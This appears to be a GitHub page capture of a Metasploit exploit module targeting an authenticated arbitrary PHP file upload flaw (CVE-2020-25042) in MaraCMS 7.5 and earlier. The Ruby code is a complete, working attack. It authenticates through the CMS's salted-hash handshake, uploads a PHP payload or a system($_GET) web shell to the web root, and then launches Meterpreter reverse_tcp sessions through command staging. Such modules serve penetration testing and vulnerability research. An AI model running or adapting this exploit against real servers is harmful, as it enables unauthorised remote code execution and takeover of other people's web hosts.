-
Notifications
You must be signed in to change notification settings - Fork 14.3k
/
Copy pathmaracms_upload_exec.rb
306 lines (263 loc) · 11.8 KB
/
maracms_upload_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MaraCMS Arbitrary PHP File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in
MaraCMS 7.5 and prior in order to execute arbitrary commands.
The module first attempts to authenticate to MaraCMS. It then tries
to upload a malicious PHP file to the web root via an HTTP POST
request to `codebase/handler.php.` If the `php` target is selected,
the payload is embedded in the uploaded file and the module attempts
to execute the payload via an HTTP GET request to this file. For the
`linux` and `windows` targets, the module uploads a simple PHP web
shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
leverages the CmdStager mixin to deliver the final payload via a
series of HTTP GET requests to the PHP web shell.
Valid credentials for a MaraCMS `admin` or `manager` account are
required. This module has been successfully tested against MaraCMS
7.5 running on Windows Server 2012 (XAMPP server).
},
'License' => MSF_LICENSE,
'Author' => [
'Michele Cisternino', # aka (0blio_) - discovery and PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2020-25042'],
['EDB', '48780']
],
'Payload' => {
'BadChars' => "\x00\x0d\x0a"
},
'Platform' => %w[linux win php],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
'Targets' => [
[
'PHP', {
'Arch' => [ARCH_PHP],
'Platform' => 'php',
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-08-31',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme'])
]
end
def check
vprint_status('Running check')
# visit /about.php to obtain MaraCMS version and cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'about.php'),
'keep_cookies' => true
})
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('Mara cms')
return CheckCode::Safe('Target is not a MaraCMS application.')
end
html = res.get_html_document
version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release`
version = version_header.split(' ')[1] # grab the version number
if version.blank?
return CheckCode::Detected('Could not determine MaraCMS version.')
end
version = Rex::Version.new version
unless version <= Rex::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5
# MaraCMS no longer seems to be maintained, but the check below is added in case they every update it
return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.')
end
return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower')
end
def login
# visit login page in order to obtain `shash` value, which is necessary for authentication
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'login' => '' }
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end
unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag
fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.')
end
nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner
# try to obtain salt required for authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
'vars_get' => {
'nocache' => nocache_value
},
'vars_post' => {
'action' => Rex::Text.encode_base64('setsalt').to_s,
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
'status' => Rex::Text.encode_base64('Sending Request').to_s
}
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end
unless res.code == 200 && res.body.include?('~::~')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.')
end
# obtain salt
salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~
salt = Rex::Text.decode_base64(salt_base64)
if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true
# in case of an error, the server sends the error message, so this should be passed to the user
fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}")
end
print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...")
# use salt to generate authentication tokens
username = datastore['USERNAME']
password = datastore['PASSWORD']
@username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload
unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}")
salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}")
@salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload
nocache_value = rand # create new nocache_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
'vars_get' => {
'nocache' => nocache_value
},
'vars_post' => {
'usr' => @username_base64,
'hash' => Rex::Text.encode_base64(unsalted_hash),
'pwd' => @salted_hash_base64,
'action' => Rex::Text.encode_base64('login').to_s,
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
'rawresponse' => Rex::Text.encode_base64(salt_base64),
'status' => Rex::Text.encode_base64('Sending Request').to_s
}
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end
unless res.code == 200 && res.body.include?('~::~')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.')
end
# obtain base64 encoded response from body and decode it
server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2])
unless server_response.include?('OK:')
fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message
end
print_good('Successfully authenticated to MaraCMS')
end
def upload_payload
# set payload according to target platform
if target['Platform'] == 'php'
pl = payload.encoded
else
@shell_cmd_name = rand_text_alphanumeric(3..6)
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
end
@payload_name = rand_text_alphanumeric(8..12) << '.php'
one_base64 = Rex::Text.encode_base64('1') # used twice below
# generate post data
post_data = Rex::MIME::Message.new
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"')
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part('filenew', nil, nil, 'form-data; name="type"')
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"")
post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"')
post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"')
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
post_data.add_part('/', nil, nil, 'form-data; name="destdir"')
print_status("Uploading payload as #{@payload_name}...")
# upload payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" },
'data' => post_data.to_s
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
end
unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.")
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end
register_file_for_cleanup(@payload_name)
print_good("Successfully uploaded #{@payload_name}")
end
def execute_command(cmd, _opts = {})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @payload_name),
'vars_get' => { @shell_cmd_name => cmd }
})
unless res && res.code == 200
fail_with(Failure::Unknown, 'Failed to execute the payload.')
end
end
def exploit
login
upload_payload
# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
if target['Platform'] == 'php'
print_status('Executing the payload...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @payload_name)
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
else
print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")
execute_cmdstager(background: true)
end
end
end